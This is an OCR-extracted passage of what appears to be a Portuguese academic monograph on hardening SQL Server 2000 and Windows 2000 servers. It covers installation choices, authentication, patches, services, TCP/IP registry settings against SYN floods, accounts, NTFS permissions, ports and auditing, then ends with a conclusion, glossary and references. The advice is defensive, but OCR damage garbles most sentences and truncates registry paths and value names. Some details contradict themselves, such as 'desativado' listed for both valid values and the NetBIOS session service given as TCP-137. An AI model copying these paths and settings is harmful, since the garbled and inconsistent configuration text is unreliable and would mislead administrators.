Sistemas de refrigeracdo, deteccdo de inundagémErdio monitorados sao
imprescindiveis, principios de incéndio podem semlzatidos com modernos sistemas
autdbnomos, que utilizam géas carbbénico como agetitet@ de incéndios, e ndo danificam os
equipamentos nao atingidos pelo fogo.

Nunca conecte o servidor diretamente a Internsimeem uma zona segura
da intranet corporativa, protegido pbrewalls, bloqueando todo o trafego e admitindo
seletivamente apenas conexdes necessarias a tiidade dos servicos presentes. Em um
dominio Windows, ogirewalls internos deverdo permitir apenas a autenticag&grada do
sistema Windows.

Execute servicos separados de SQL Server em cadparadas do
Windows, e sempre que possivel utilize contas darieslocal com poucos privilégios para
cada servico separadamente, assim se houver o @omiio de um servico, ndo podera
afetar os demais.

Instale o SQL Server em particbes NTFS que temppairdo opcdes de
seguranca como lista de controles de acesso avasgei diretérios (ACLs). Durante a
instalacdo o SQL Server definird ACLs apropriadaschaves de registro. Existe a previsao
de futuras versdes do SQL Server ndo darem supangtalacdo em sistemas FAT.

Protocolos desnecessarios devem ser desabilitadgs servidores de
perimetro, como NetBIOS e SMB

O NetBIOS utiliza as seguinte portas:

. UDP-137 — (Servico de nome do NetBIOS);

. UDP-138 — (Servico de datagrama do NetBIOS);

TCP-137 — (Servico de sessao do NetBIOS).
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O SMB utiliza as seguintes portas:
. TCP-139;

e  TCP-445;

Facabackupsdos dados e configuracbes dos servidores reguléemes
arquivos devem ser armazenados em local extemge Idos servidores, e preferencialmente
devem ser automaticos, o serviBQL Server Agenjuntamente ao servidoB Maintenance
Plans executam a tarefa deackups Um ponto a ponderar é que o esse backup estara
armazenado no servidor de producéo, devendo sairapidamente possivel deslocado ao

seu local definitivo.

% Console Root\Microsoft SQL Servers\SQL Server Grouph(local) (Windows NT)\Management\Database Maintenance Plans
| Console Root
=H i ft SQL S

“ icrosoft SQL Servers Name = Databases Servers
a @ 50QL Server Group

P a} (local) (Windows NT) @ DE Maintenance Planl master (local)

4 [ Databases

- B master

model
msdb
MNorthwind
pubs

- B tempdb
. (L] Data Transformation Services
4 [ Management
; % 5QL Server Agent
(B3 Backup
. [ Current Activity
@ Database Maintenance Plans
. §4 SQL Server Logs
. [[1 Replication
- [ Security
. L1 Support Services
| Meta Data Services

Figura 14 - DB Maintenance Plan
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Testes de funcionalidade da recuperacabatkupsdevem ser executados
com frequéncia, prevenindo as falhas possiveisenaperacdo dos dados, problemas nas
midias e procedimentos, uma boa pratica € medenpad de recuperacdo e implementar
melhorias no procedimento para diminuir o tempadesponibilidade

Solu¢cbes mais avancadas podem ser utilizadas, amagjos RAID para os
arquivos de bancos de dados, isolando falhas nesog]i e sistemas replicados, que
direcionam o processamento dos dados a servidesksdantes, podendo também ser

utilizados no balanceamento de carga.

6.2 Instalacéo do servidor

A escolha do sistema operacional que hospedaravad@e de banco de
dados deve ser corretamente estudada, o recomeédeda instalacdo “limpa”, utilizando-se
somente dos recursos necessarios para o corretmriamento do SGBD, recomenda-se
fortemente que ndo se compartilhe o servidor dedde dados com outras func¢des, como
servidores web e controladores de dominios, degidmssibilidades de vulnerabilidades
nesses servicos exporem o banco de dados a rissosagssarios,

Apos a instalacdo do sistema operacional do setvilonecessaria a
instalacdo de todas as correcdes de seguranca eedadas pelo fabricante do SO, a
instalacédo de atualizagbes cumulativas, conhecila®“Service Packs] deve ser analisada
criteriosamente, pois um pacote de correcdes reckve ser primeiramente testado antes de
ser colocado em producédo, devido a possibilidadenctempatibilidades e possiveis novas

falhas de seguranca. Apés a instalacdo do SO eguoefdo dosFirewalls, proceda a
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instalacdo dos programas de suporte como antivoiasp a topologia da rede o faca
necessario. Devem-se instalar apenas os aplicaie@sssarios ao funcionamento do SGBD
na rede, e nada mais, minimizando as possibilidddeslhas de segurancas em aplicativos
desnecessarios.

Durante a instalacdo do SQL Server, varios cuidatisem ser tomados
para minimizar vulnerabilidades de seguranca, uss@a passo para uma instalacdo segura
sera demonstrada a seguir, sera apresentado uesgpoode instalacdo de um SQL Server
2000, na sua versd&valuation”, utilizada para avaliagdo e treinamento, na iaséa da

versao para servidores havera poucas diferenciiadas a inclusdo das chaves de registro.

Evaluation Edition
@ SQL Server 2000 Components % Browse Setup/Upgrade Help

@ SQL Server 2000 Prerequisites @ Read the Release Notes

Visit Our Web Site

Figura 15 - Inicio da Instalacdo do SQL Server 2000
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No inicio do processo de instalacédo, que é bastamigles, selecionamos a
opcao“SQL Server 2000 Components processo se dara sequencialmente, demonstsremo
somente as opcdes que interferem na segurance,ateco do trabalho.

Utilizaremos a instalacdo personalizg§@aistom) pois nos permite a escolha

das opcdes necessaria a implementacédo da segdmasiema.

Click the tupe of Setup vou preter, then click Mesxt.

™ Typical Installed with the maost cammon options. Recammended for most users.

™ Minimum Ingtalled with minimum required options.

& Custom “f'ou may choose the options pou want bo install. Recaommended for
advanced uzers.

Destination Folder

Program Files Browse... C:“\Program FileshMicrozoft SOL Senver
[1ata Files d:\DataFiles
Required: A ailable:

Space on program files drive: 38073 K IEIITE0E
Space an system drive: 1586594 k. 2EAIZ7R0E
Space on data files drive: 432 K 38036916 K

< Back | Mest > | Cancel

Figura 16 - Opc¢des de Instalacdo do SQL Server 2000

Assegure-se de instalar SGBD em um volume difereate sistema
operacional, isolando-o0, essa pratica também au&ilho momento da criagéo lieckupsda
configuracdo do servidor, Aconselha-se tambémag&o de um volume independente para o
armazenamento dos dados.

Durante a instalacdo dos componentes, algunsn@imslevem ser instalados

no servidor de producéo, salvo real necessidadeslsa:
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. Upgrade Tolls (Usados para a atualizacdo de veesiiesores);
. Replication Support (Scripts e binérios usadosepticacdo —

somente instale se for utilizar a replicacdo);

. Full Text Search (Pesquisa de textos completostalensomente se
necessitar);

. Books On Line (Documentagédo — instale no servidotedtes
somente);

. Development Tools (Auxilio a desenvolvedores);

. Code Samples (Exemplos para estudos).

Select Components

Select or clear the components ta install / remove.

Components: Sub-Components:

Server Companent Enterprise Manager 25024 K

b aragement Toals (= Prrafiles B40 K
Client Connechivity
| Books Online

| Development Toal

Quemn Analyzer 1696 K,
DTC Client Support

Conflict Wiewer

[rezcription

Uzed to extend databaze transactions acrozs multiple servers.

Required: Available:
Space on program files drive 37997 K 26332644 k.

Space on zyztem drive: 147729 K. 26332644 K.
Space on data files dive: 432 K 38036916 K.

< Back I Mext » I Cancel

Figura 17 - Instalacdo Personalizada do SQL Serv&000
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Utilize sempre o modo de autenticacdindows Autentication Mode”
utilize a autenticacdo do SQL Server se esta feolatamente necessaria, nesse caso utilize
uma senha forte, de alto grau de complexidade @arauario SA(System Administratar)
essa conta € o alvo principal dos ataques de detetx senhas por forca bruta e dicionario,
note que existe a opcao de utilizar a senha entcbr@henk Password- Ndo recomendada),
como o proprio fabricante diz, nunca a utilize. Agvas versbes do SQL Server néo
apresentam mais essa opg¢ao.

Além das vantagens ja descritas da autenticacaaldis, podemos ainda
acrescentar a utilizacdo das diretivas de segu@mclminio aplicadas as senhas, o fato das
credenciais ndo serem enviadas pela rede, e aérneagi de conexdo dos servicos que se

conectam ao SGBD né&o necessitarem de credendraisuihdo sua exposicao.

Authentication Mode

Choose the authentication mode.

" Windows Authertication Mode

{* Mixed Mode (Windows Authentication and SAL Server Authertication)

Add password for the sa login:

Enter passward: |

Confim passwond: |

[~ Blank Password |not recommended)

Figura 18 - Opc¢des de Autenticacao do SQL Server @0
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6.3 Patches e atualizacbes

Sempre que uma vulnerabilidade de seguranca oa fath aplicativo é
descoberta, o fabricante disponibiliza as correp@ea as falhas, conhecidas cofpatchs”,
uma colecao de varidpatches” agrupadas em apenas um arquivo é fornecida core dem
“Service Pack’, nesse momento o fabricante podem optar por molwas funcionalidades
ao aplicativo. Recomenda-se fortemente que asizdgaes sejam executadas sob o risco de
algum invasor aproveitar-se de vulnerabilidadesheomas, documentadas e ainda né&o
corrigidas para um ataque.

Apesar da recomendacdo anterior, sempre que forsporibilizadas
atualizag@es criticas, uma boa pratica sera tastatualizacdes em um servidor de testes e
verificas a compatibilidade da aplicacdo com aexg@o, sempre é possivel que as correcdes
contenham ou criem novas falhas, que serédo desasleecorrigidas oportunamente.

No SQL Server, podemos utilizar do recurso MB@Aicrosoft Baseline
Security Analyserjjue detecta a falta de atualizacdes no Windows 8QL Server, e efetua
as alteracdes autorizadas nos aplicativos, o pragesta disponivel através do link:

*  http://lwww.microsoft.com/technet/security/tools/mheme.mspx
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6.4 Servicos

Para diminuir a exposicdo a ataques e riscos desseios, devemos
desativar todos os servicos nao utilizados, e deseoonsiderar a execugdo dos demais
servicos com contas de baixo privilégio, e possiegite um usuario para cada servico.

Os quatro servigos a seguir sdo instalados em nmiseSQL Server, deve-

se desativa-los no caso da ndo necessidade decdil dos recursos:

. MSSQLSERVER (ou MSSQL$Nomedalnstancia para umarcs
nomeada). Este € o mecanismo de banco de dadd&3ldSe3ver e é o0 Unico
servico obrigatorio;

. SQLSERVERAGENT (ou SQLAgent$Nomedalnstancia para um
instancia nomeada). Servigco de suporte, utilizada p agendamento de
comandos e notificagdo aos usuarios;

. MSSQLServerADHelper. Integragédo do Active Directory

. Microsoft Search. Pesquisa de texto completo.

O Servico DTC (Coordenador de transacoes distréds)ideve ser desativado

caso nao utilize replicagao de servidores
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6.5 Protocolos

Evitando a utilizacdo de protocolos desnecessahiasuma consideravel
reducdo da &rea de ataque disponivel, a recomendagautilizar somente do protocolo
TCP/IP para as conexdes. O aplicati8QL Server Networ Utility, disponivel na instalacédo
do SQL Server oferece as opc¢bes necessarias gaiva ndo dos protocolos de rede

disponiveis.

§ sQL Server Network Utility i x|

General | Network Libraries |

Instance(s] on this server: ABACAR
Disabled protocols: Enabled protocals:

Named Pipes Enable>> TCPAP

Multiprotocol e = LAk SN

N'w/Link IPX/SFX

AppleT alk << Disable

Banyan Vines

WA,

Properties... ]

™ Force protocal encryption
™ Enable WinSock proxy

Figura 19 - Utilizacdo do SQL Server Network Utility

O fortalecimento da pilha do protocolo TCP/IP éomendado pela
Microsoft para evitar ainda mais a possibilidadeatlgues aos servidores Windows 2000,

oferecendo protecao extra a ataques de negac@&owvilgose outros ataques baseados em rede,
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as opcoes que serdo apresentadas nunca deverdplsgitadas diretamente nos servidores
de producéo, pois alguns valores podem ser rgegitis conexdes (MICROSOFT, 2004).

Um ataque SYN explora uma vulnerabilidade do meoani de
estabelecimento de uma conexdo TCP/IP. Para aniaataque de sobrecarga de SYN, um
invasor usa um programa para enviar uma sobreadgsolicitacoes de SYN TCP para
encher a fila de conexfes pendentes no servidar.ingede que outros usuarios estabelecam
conexodes de rede.

Os passos para ativar a protecédo ao ataque SYN séo:

. Ativar a protecéo contra ataques SYN

Alterar a chave de registro:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servise
Nome do valor: SynAttackProtect

Valor recomendado: 2

Valores validos: 0 — 2

A opcéo faz com que o TCP ajuste a retransmiss&@Yde-ACKS,
forcando as respostas de conexdo a atingem o témpe mais
rapidamente no caso de um ataque de SYN.

. Definir limites de protecéo

Alterar as chaves de registro:

HKEY_LOCAL_ MACHINE\SYSTEM\CurrentControlSet\Servise
Nome do valor: TcpMaxPortsExhausted

Valor recomendado: 5

Valores validos: 0 — 65535

Especifica o limite das solicitacbes de conexao TG® precisam ser

excedidas antes que a protecédo de sobrecarga de&d Bcionada
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Nome do valor: TcpMaxHalfOpen

Valor recomendado: 500

Valores validos: 100 — 65535

Quando SynAttackProtect é ativado, esse valor @&@eo limite de
conexdes TCP no estado SYN_RCVD. Quando SynAttat&Etr é

excedido, a protecdo de sobrecarga de SYN é a@onad

Nome do valor: TcpMaxHalfOpenRetried

Valor recomendado: 400

Valores validos: 80 — 65535

Quando SynAttackProtect é ativado, esse valor @&@eo limite de

conexdes TCP no estado SYN_RCVD para o qual pelmosmeama
retransmissdo foi enviada. Quando SynAttackPraodeekcedido, a

protecdo de sobrecarga de SYN é acionada.

Definir protecdes adicionais:
Alterar as chaves de registro:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servise

Nome do valor: TcpMaxConnectResponseRetransmissions
Valor recomendado: 2

Valores validos: 0 — 255

Controla quantas vezes um SYN-ACK é retransmitices de

cancelar a tentativa ao responder a uma solicitde&Y N.
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Nome do valor: TcpMaxDataRetransmissions

Valor recomendado: 2

Valores validos: 0 — 65535

Especifica 0 nimero de vezes que o TCP retransmmiteegmento de
dados individual (ndo segmentos de solicitacaootex@o) antes de

anular a conexao.

Nome do valor: EnablePMTUDiscovery

Valor recomendado: O

Valores validos: 0, 1

Configurar esse valor para 1 (o padrdo) forca o BGdRescobrir a
unidade de transmissdo maxima ou 0 maior tamanhpadete no
caminho para um host remoto. Um invasor pode forgar
fragmentacdo de pacotes, 0 que sobrecarrega a Btipecificar O
forca 0 MTU de 576 bytes para conexdes de hostngaesstédo na

sub-rede local.

Nome do valor: KeepAliveTime

Valor recomendado: 300000

Valores vélidos: 80 — 4294967295

Especifica a frequéncia com que o TCP tenta varifise uma
conexdao ociosa ainda esté intacta enviando um gdeotanutencgao

de funcionamento.
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Nome do valor: NoNameReleaseOnDemand

Valor recomendado: 1

Valores validos: 0, 1

Especifica ndo liberar o nome NetBIOS de um congurtguando

ele recebe uma solicitacao de liberacdo de nomes

Proteger contra ataques de ICMP

Incluir ou alterara chave de registro:
HKLM\System\CurrentControlSet\Services\AFD\Paramsete

Valor: EnableICMPRedirect

Valor recomendado: O

Valores validos: 0 (desativado), 1 (desativado)

Modificando esse valor de registro para O evitai@céo de rotas de

host caras quando um pacote de redirecionameM® Krecebido.

* Protecgdes contra AFD.SYS
As chaves a seguir especificam parametros paraver dio modo
kernel Afd.sys. O Afd.sys é usado para dar suporaplicativos de
soquete do Windows.
As chaves e valores nesta se¢édo estdo localizatos £have de

registro HKLM\System\CurrentControlSet\Services\APBrameters

Valor EnableDynamicBacklog

Valor recomendado: 1
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Valores validos: 0 (desativado), 1 (ativado)
Especifica a funcionalidade AFD.SYS para suportaralto nimero

de conexdes SYN_RCVD eficientemente

Nome do valor: MinimumDynamicBacklog

Valor recomendado: 20

Valores validos: 0 — 4294967295

Especifica um nimero minimo de conexdes livres fiefas em um
ponto de extremidade de escuta. Se 0 numero dex@esdivres
cairem abaixo desse valor, um segmento é enfiteizta criar

conexoes livres adicionais

Nome do valor: MaximumDynamicBacklog

Valor recomendado: 20000

Valores validos: 0 — 4294967295

Especifica a quantidade maxima total das duas émsekvres mais

aguelas no estado SYN_RCVD.

Nome do valor: DynamicBacklogGrowthDelta

Valor recomendado: 10

Valores vélidos: 0 — 4294967295

Presente por padrao: Nao

Especifica 0 numero de conexdfes livres a serendagiajuando

conexoes adicionais sao necessarias.
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Protecdes adicionais:
* As chaves e valores nesta secéo estéo localizalaschave de
registro

HKLM\System\CurrentControlSet\Services\Tcpip\Parterse

Proteger detalhes da rede analisada:

O NAT (Network Address Translation) é usado paraliaar uma

rede a partir de conexdes de entrada. Um invaste pontornar essa
analise para determinar a topologia de rede usamdbeamento de
origem IP.

Valor: DisablelPSourceRouting

Valor recomendado: 1

Valores validos: 0 (encaminha todos os pacote¢hdd encaminha
pacotes roteados de origem), 2 (descarta todoaamgs roteados de
origem).

Desativa o roteamento de origem IP, que permiteueemetente

determine a rota que um datagrama devera tomaatda rede

Evitar aceitar pacotes fragmentados:

O processamento de pacotes fragmentados pode reerErabora

Seja raro que uma negacao de servico seja origoheteo da rede do
perimetro, essa configuragdo evita o processamdatgpacotes
fragmentados.

Valor: EnableFragmentChecking

Valor recomendado: 1

Valores validos: 0 (desativado), 1 (ativado)
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Evita que a pilha IP aceite pacotes fragmentados

N&o encaminhar pacotes destinados a diversos hosts:

Pacotes Multicast podem ser respondidos por vanets, resultando
em respostas que podem sobrecarregar uma rede.

Valor: EnableMulticastForwarding

Valor recomendado: O

Intervalo valido: O (falso), 1 (verdadeiro)

O servigco de roteamento usa esse parametro pateoleornse as
difusdes seletivas de IP sdo ou ndo encaminhadas. flarametro €

criado pelo servico Roteamento e Acesso Remoto.

Somentdirewalls encaminham pacotes entre redes:

Um servidor com diversas bases ndo pode encampatates entre
as redes as quais esta conectado. A excec¢do obvike@all.

Valor: IPEnableRouter

Valor recomendado: 0

Intervalo valido: O (falso), 1 (verdadeiro)

Configurar este parametro como 1 (verdadeiro) tam que o sistema

roteie pacotes IP entre as redes as quais ele@wéatado.

Mascarar detalhes da topologia da rede:
A mascara de sub-rede de um host pode ser sofiditsahdo pacotes

ICMP. Essa divulgacdo de informacdo por si s6 éemsiva; no
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entanto, as respostas de varios hosts podem s#asupara gerar
conhecimento sobre a rede interna.

Valor: EnableAddrMaskReply

Valor recomendado: O

Intervalo valido: O (falso), 1 (verdadeiro)

Esse parametro controla se o computador respondeasolicitacéo

de mascara de endereco ICMP.

6.6 Contas

Além das diretivas de senhas de alta seguranca;s#eseguir o principio de
atribuir o menor privilégio possivel as contasizaitlas as conexdes no SQL Server, a fim de
restringir oS recursos caso haja uma invasao pdrorale senhas. Os passos a seguir sdo
recomendac¢des para uma politica de senhas e cagas.

Proteger a conta do servico do SQL Server. Exexgvico do SQL Server
com uma conta com o menor privilégio possivel, mimando danos causados por invasores,
e nunca utilize uma conta do grupo de Administraslor

Crie um usuério utilizando a ferramenta Usuarios Gleipos Locais.
Adicione um usuério utilizando uma senha de alguisnca, remova a conta do grupo
Usuarios. Caso haja a necessidade de acessaratnads do servidor, crie uma conta com o
mesmo nome e senha do servidor remoto, ou utilima gonta do dominio com poucos

privilégios.
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Exclua contas nédo utilizadas, Audite as contasidpoastas podem ser
utilizadas para ataques, a recomendacao é ane<ldé a conta supostamente inativa, que a
desabilite, as contas excluidas ndo podem ser esgs. As contas ‘Administrador’ e
‘Convidado’ ndo podem ser excluidas, mas a comaviclado’ deve ser desativada.

Renomeie a conta de Administrador e utilize umaaeaie alta seguranca,
esta conta é o alvo inicial de qualquer atagueg pamentar a seguranca a ataques oObvios e
dicionario.

Utilize a ferramenta de Diretivas de Seguranca Lpaea desativar o direito
de acesso do grupo “Todos” a “Acesso a este compufeela rede”.

Desative logons anénimos, sessfes ndo autentipadam ser utilizadas por
atacantes. Informacdes como detalhes sobre donmgnamnfiabilidade, compartilhamentos,
informacdes sobre usuarios, chaves de registrosnpagr descobertas por meio de sessodes
nulas.

Restrinja sessdes nulas através da chave de oegistr

e HKLM\System\CurrentControlSet\Contro\LSA\Restrictdnymous=1

6.7 Arquivos e diretorios

E recomendada a instalacdo do SQL Server em pestiyd FS, reforce as
permissdes para restringir acessos a arquivosdis dimgs e arquivos de programas do SQL
Server,

Permissdes NTFS para a conta de servigo do SQleiServ
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Instalacao:

* \Arquivos de programas\Microsoft SQL Server\MSSQL\
Permissdes para a conta do SQL Server

* Ler e Executar
Listar Conteudo de Pastas

e Ler

Arquivos de banco de dados (.mdf, .ndf, .Idf files)
* \Arquivos de programas\Microsoft SQL Server\MS S Qatd
Permissdes para a conta do SQL Server

+ Controle Total

Arquivos de banco de dados (.mdf, .ndf, .Idf files)
* \Arquivos de programas\Microsoft SQL Server\MS S Qatd
Permissdes para a conta do SQL Server

* Controle Total

Arquivos de log de erro:
* Arquivos de programas\Microsoft SQL Server\MSSQL&O
Permissdes para a conta do SQL Server

* Controle Total

Arquivos de backup:
* \Arquivos de Programas\Microsoft SQL

Server\MSSQL\Backup
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. Permissdes para a conta do SQL Server

* Controle Total

. Diretério de saida de arquivos temporarios de aaref
* \Arquivos de programas\Microsoft SQL Server\MSSQ@h¥)
. Permissdes para a conta do SQL Server

* Controle Total

Além das permissdes devemos verificas que o grdmpalds” ndo tenha
permissdo para ao grupo de arquivos do SQL Seevgemover todos os aplicativos,
ferramentas, utilitarios e SDKs desnecessarios w@atidnamento do servidor, esses

aplicativos s6 devem estar presentes em ambieatiestes, nunca em producao.

6.8 Portas

Por padrdao o SQL Server escuta a porta 1433 TQHJiza a porta 1434
UDP para negociacdes entre cliente e servidorizBtimfirewall de perimetro protegendo
essas portas, limite os acessos as portas someapdicativos autorizados. Essas acdes
protegerdo os dados de atagues esternos, naoefesaopara ataques internos.

Instancias nomeadas de servidores trabalham emaspaoatribuidas

dinamicamente durante a instalacédo, para evitar abr intervalo de portas nfirewall, €
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aconselhado que se configure uma porta especifesse caso alguns clientes deverdo ser
reconfigurados, utilizando-se o numero da portalb&ta na sequéncia de conexao, ficando

da seguinte maneira:

" "Server=YourServer|YourServerlPAddress,PortNumber"

Considere utilizar a opcadifde Servet, nas propriedades do TCP/IP no
SQL Network Utility selecionar essa opcdo o SQL Server sera recoadigyara escutar na
porta 2433 e também desativara as respostas padi@ascoes de transmissao dos clientes
que tentam enumerar as instancias do SQL Server.cbidfie nessa medida para ocultar a
porta do SQL Server. Seguranca por obscuridade iggmantia de sucesso, existem inUmeras

maneiras de enumerar portas para descobrir suéezbugo.

6.9 Auditoria e logs

Auditoria ndo impede ataques aos sistemas, makaanaiidentificacéo de
invasores, e ataques em andamento, a ativacaoat@ismos de auditoria € necesséria no
nivel dosistema operacional e logons no SQL Server, aa&{@gra uma correta e segura

Implementacgéo diegsde auditoria sao:

Registrar em logs todas as falhas de logons no Winws;

" Inicie a ferramenta Diretiva de Seguranca Local;
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Expanda Diretivas Locais e, em seguida, selecioretiiza de
Auditoria;
Clique duas vezes em Eventos de logon de contadimaa;

Cliqgue em Falha e, em seguida, cliqgue em OK.

Registrar todas as falhas de acdes no sistemajdieas;

Inicie a ferramenta Diretiva de Seguranca Local;
Expanda Diretivas Locais e, em seguida, selecioretiiza de
Auditoria;

Clique duas vezes em Auditoria de acesso a objetos;

Cligue em Falha e, em seguida, clique em OK.

Ativar a auditoria de logon no SQL Server.

Inicie o0 SQL Server Enterprise Manager, expand®hb Server
Group e, em seguida, expanda o SQL Server;

Clique com o botéo direito do mouse no SQL Seryernre
seguida, clique em Properties;

Clique na guia Security;

Defina o nivel de Auditoria como All ou Failure;

Reinicie o0 SQL Server de modo que as alteracOeaet@va de

auditoria sejam efetivadas.
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CAPITULO 7 — CONCLUSAO

Quando pensamos na seguranca dos dados e infosnestaenos diante de
varios aspectos e solugdes, muitas vezes, comaticadonerosas. Existe uma guerra néo
declarada entrerackerse administradores, estes ultimos em ligeira deéagam na maioria
dos casos, devendo estes promover, em todos otoérdhiorganizagcdo que atuam, a cultura
da seguranca da informagdo. As equipes de segurdecanformacao devem ser
multidisciplinares, contando com apoio tecnoldgjadgdico e principalmente financeiro.

O treinamento, pesquisa e a atualizacdo tecnol@isaequipes devem ser
abrangentes e constantes, as préticas devem sssagamente aplicadas. A seguranga € um
processo ciclico de descoberta de falhas, vulietathes e meios de exploracéo, aplicagéo de
correcdes e melhorias no desenvolvimento.

A aplicagdo das préticas seguras deve contemplaraadnfra-estrutura e os
pontos de acesso dos sistemas, iniciando-se naasegufisica dos equipamentos, na
localizacdo, refrigeracdo, protecdo contra for@atureza e politicas de acesso fisico aos
equipamentos. A escolha das tecnologias de hardapdicadas & seguranca cofirewalls,
detectores e protetores e invasao, antivirus espatis deve ser considerada fortemente.

Durante a selecdo de novas tecnologias a serewn@dpd, a atencdo nos
aspectos de seguranca intrinsecos deve ser poadexaimhtegracdo destes aos sistemas
legados deve ser fortemente avaliada, sob o riscin@uséo involuntaria de brechas na
seguranca, antes inexistentes.

Incluso nos planos de continuidade dos negociesugperacdo dos desastres,
0s aspectos de seguranca fisicos e logicos devernrgemplados e representantes da area de

Seguranca de Informacéo devem fazer parte dos&onhetimplantacao.
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Dentro da cultura empresarial, existe a percepcé® e incOmoda que
seguranca nao gera lucro, ou € uma grande dedpesa.realidade deve ser modificada, a
conscientizacdo das equipes deve ser conquistatiadesios niveis hierarquicos. Os gestores
devem apoiar as praticas seguras e 0s custostiegren

A equipe de desenvolvimento e administradores dmslaleve conhecer
profundamente os aspectos de seguranca de infapmaggdicando as técnicas de
desenvolvimento seguro, prevenindo-se de falhdagues. A pesquisa e o desenvolvimento
pessoal devem ser incentivados. Novas falhas ssmloertas todos os dias e a defesa deve
ser a mais rapida possivel.

Os ambientes de testes e producdo devem ser ispladeas aplicacdes e
correcdes nos sistemas devem ser aplicados noeraewide testes e somente depois da
validacdo devem ser aplicados no ambiente produtjuando as atualizacdes corrigirem
falhas de seguranca. O tempo de testes e aplics@oser o minimo possivel, pois graves
atagues ja foram efetuados utilizando-se de fal@dasorrigidas pelo fabricante dos
aplicativos.

No ambiente produtivo, para diminuir a area de wdaqleve-se ter a
disposicdo somente os aplicativos, servicos e nuEascesso necessarios ao funcionamento
dos servicos, aplicativos opcionais, exemplostersias de ajuda; outros ndo necessarios, ndo
devem estar presentes, portas e protocolos né&adtk devem ser desabilitados.

A recomendacdo maior é conhecer como se ataca,mpplantar a defesa
correta, pensar como um usuario mal intencionaddari® uma quebra de seguranca e
antecipar-se a ele. No estudo das técnicas deeamglefesa, a utilizacdo de publicacdes
especificas, diversos féruns, listas de discudsdietins de seguranca e comunidades, além

dos sites dos fabricantes dos sistemas utilizado&8 de imensa utilidade, € comum
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especialistas em seguranca participar de grupoasaftos por hackers e crackers. A troca de
informacéo é vital tanto para o ataque, como palefesa.

Podemos afirmar, com toda a certeza, que ndo esgégferanca absoluta.
Podemos chegar a um nivel de seguranca aceitévejue serdo analisados quais 0s pontos
vulneraveis e avaliar 0s riscos e impactos a orggab, e em muitos casos até correr riscos,
mas as praticas de seguranca devem prever quanaroaorréncia de quebra de seguranca, 0
impacto aos negdécios deve ser o minimo possivel.

Os bancos de dados levam em si a alma de uma pagani Da informacé&o
€ gerado o conhecimento, que leva a continuidadgenggdcios, e conseqientemente ao

SUCessO0.
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GLOSSARIO

Backups: Copias de seguranca.

Buffer: Em ciéncia da computacéo, buffer € uma regido@mdna temporaria utilizada para

escrita e leitura de dados.
Check List: Lista de verificacao.

Cookie: E um grupo de dados trocados entre o navegadseevinlor de paginas, colocado

num arquivo de texto criado no computador do @tilar.

Crach: Crash é um termo utilizado em informéatica quantiogpuograma (uma aplicacéo ou

um sistema operativo) deixa de responder e se tadapqueado.

Crack: Um crack é um pequeno software usado para quebraistema de seguranca

qualquer.

Deletar: Apagar.

Firewall: Mecanismo ou sistema utilizado para proteger weda.r
Hardware: Parte fisica de um computador.

Internet: Grande rede de computadores.

Javascript: Linguagem de programacdao criada pela Netscapeém 1

Kernel: O Kernel de um sistema operacional é entendidaanmicleo deste ou, numa
traducao literal, cerne. Ele representa a camadaftigare mais proxima do hardware, sendo

responsavel por gerenciar os recursos do sistemputacional como um todo.
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Log: Em computacao, Log de dados € o termo utilizada g@screver o processo de registro

de eventos relevantes num sistema computacional.

Login: Ou Palavra-Senha € um conjunto de caracterestadbgara os usuarios que por

algum motivo necessitam acessar algum sistema damipnoal.

Multiplataforma: Diz-se multiplataforma um programa ou sistemargde em mais de uma

plataforma, por exemplo, Windows w Linux.

Netbios: E uma interface de programa que foi desenvolvida permitir a comunicagéo
entre maquinas. Nesta estrutura foi implementaclangeito de nome de servico, o que

possibilita que uma maquina conecte-se a redevassdy um nome para sua utilizacao.

Patches:Arquivos com atualizacdes de programas especidnsgstemas operacionais.

Pilha(Stack): Em ciéncia da computacdo, uma pilha (stack en@#@ um tipo abstrato de

dado e estrutura de dados baseado no principiastdi.First Out (LIFO).

Roteamento:No contexto das redes de computadores, o encaméntia (ou roteamento) de
pacotes (em inglés: routing) designa o processea®aminhamento de pacotes, que se

baseia no endereco IP e mascara de rede dos mesmos.

Script: Linguagem de script (também conhecido como lingoade scripting, ou linguagem
de extensédo) séo linguagens de programacgao exaswtadnterior de programas e/ou de

outras linguagens de programacéao.

Site: ou Web Site, conjunto de documentos disponibibzath web.

SMB: Nos computadores em rede, Server Message BlocB)3Mciona como um

aplicativo de nivel rede, protocolo-aplicado pnpramente para 0 acesso aos arquivos
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compartilhados, impressoras, portas seriais, eshgecomunicacdes entre nodos em uma
rede. Ela também fornece um mecanismo de auteatidater-Process Communication. A
maioria dos usos de SMB envolve computadores geeuéaxm o Microsoft Windows em
ambientes de rede, muitas vezes sem que 0s ussaitidsn que o servico € nomeado como

"Microsoft Windows Network".

Software: Conjunto de instrucfes que realizam tarefas ercamputador.

Vbscript; Acronimo de Microsoft Visual Basic Scripting Edii € um subsistema do Visual
Basic usado em Active Server Pages e em WindowgtiBgrHosts como uma linguagem de

aplicacao universal (general-purpose).



97

REFERENCIAS BIBLIOGRAFICAS

DAVENPORT, Thomas, PRUSAK, Laurence: Conhecimento Emprdsaff@mo as
Organizagbes Gerenciam seu Capital IntelectualdRidaneiro: Campus, 1998.

HOUAISS, Antonio; VILLAR, Mauro de Salles: Dicionario Hoisa da Lingua Portuguesa,
Rio de Janeiro: Editora Objetiva, 2001.

SETZER, V. W. : Os Meios Eletronicos e a Educacao: uma &/is&ernativa. Sdo Paulo:
Editora Escrituras, Colecéo Ensaios Transversak, M, 2a. ed. 2002

NONAKA , lkujiro. : A Empresa Criadora do Conhecimentm Baulo: Futura, 1997.

ASSOCIAQAO BRASILEIRA DE NORMAS TECNICAS. NBR SO/l EC 17799
informacé&o e documentacéo: controle de acessadrianeiro, 2001.

DINIZ, M. H. Curso de Direito Civil Brasileiro, Editorafaiva, 2a. ed., Sao Paulo, 1986

STAIR, R. M. 1996. Principios de sistema de informacéaoa atmordagem gerencial. Rio de
Janeiro, LTCLivrosTécnicos e Cientificos.

DATE, C. J, Introducéo a Sistema de Banco de Dados.rfadtampus, 2000

WIKIPEDIA , Sistema de Gerenciamento de banco de dados, ndisbo em:
<http://pt.wikipedia.org/wiki/Sghd>, Acesso em 1€ @Qutubro de 2008.

MICROSOFT, MCDBA on Microsoft SQL Server 2000 CertificatioRequirements,
disponivel em: <http://www.microsoft.com/learningipdmcdba/requirements.mspx>, Acesso
em 15 de Outubro de 2008.

ORACLE, Oracle Certification Program - Steps to Becomad@r Certified, disponivel em:
<http://education.oracle.com/pls/web_prod-plg-dadfithges.getpage?page_id=50&

